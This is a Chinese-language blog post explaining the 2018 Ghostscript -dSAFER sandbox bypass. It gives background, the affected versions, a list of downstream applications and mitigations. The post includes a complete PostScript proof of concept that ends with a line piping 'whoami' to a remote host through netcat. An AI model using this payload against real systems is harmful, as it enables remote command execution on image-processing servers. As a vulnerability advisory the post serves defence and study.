GhostScript沙箱绕过

23-1

背景

8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成命令执行。
ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。
在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,但该沙箱在程序执行过程中由LockSafetyParams这个值进行控制,此次Taviso发现通过restore操作会将该值成功覆盖,导致安全沙箱被绕过,引发命令执行漏洞。

复现:

测试:

vps开启监听端口后,对图片上传功能进行测试,上传含有攻击数据的图片:
23-3

服务器收到回显:
23-4

poc:

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%whoami|nc ip port) currentdevice putdeviceprops

漏洞影响:

version <= 9.23(全版本、全平台)
所有引用ghostscript的上游应用如:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf

缓解措施:

1、卸载ghostscript。
2、使用ImageMagick,建议修改policy文件。
(默认位置:/etc/ImageMagick/policy.xml),在 中加入以下 (即禁用 PS、EPS、PDF、XPS coders)
23-2

参考信息:

1、漏洞分析:
https://mp.weixin.qq.com/s?__biz=MzU5MjEzOTM3NA==&mid=2247485615&idx=1&sn=b25c47324b771266c0d62cb46c263f42&chksm=fe250daec95284b81a882aeecf36a50e39d8fb7e7e82ac4affd16b7f60ddb6741c99aeb851b3&scene=21#wechat_redirect
2、邮件列表:https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2018/08/23/23/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.